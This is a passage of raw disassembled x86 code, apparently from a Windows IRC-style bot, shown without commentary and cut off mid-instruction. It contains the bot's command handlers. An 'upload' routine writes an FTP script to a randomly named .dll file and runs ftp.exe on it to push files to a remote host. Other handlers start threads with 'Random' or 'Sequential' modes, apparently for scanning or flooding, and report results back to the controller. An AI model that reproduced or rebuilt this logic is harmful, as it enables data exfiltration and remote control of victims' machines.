loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj nop call near ptr 267064Ch push eax push offset unk_42A70C loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A6CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A6A4 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A634 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A604 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431440, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431440 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431440[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A59C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB030 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A534 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 267064Ch nop push eax push offset unk_42A4FC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2660D05h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 267064Ch push eax push offset unk_42A470 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A464 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFE4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2660D05h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call near ptr 267064Ch nop push eax push offset unk_42A4FC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A3CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call near ptr 2660D05h nop jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj call near ptr 267064Ch nop push eax push offset unk_42A388 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A35C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2660D05h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj call near ptr 267064Ch nop push eax push offset unk_42A31C jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 2660D05h nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 267064Ch nop push eax push offset unk_42A2A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A278 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h call near ptr 2660D05h nop jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 267064Ch push eax push offset unk_42A240 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A210 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2660D05h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 267064Ch push eax push offset unk_42A1D8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A1A8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 2660D05h nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 267064Ch push eax push offset dword_42A16C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A140 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2660D05h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 267064Ch push eax push offset unk_42A108 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 2690B36h nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A0AC push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A0A0 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A070 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2660D05h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 267064Ch push eax push offset unk_42A034 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov 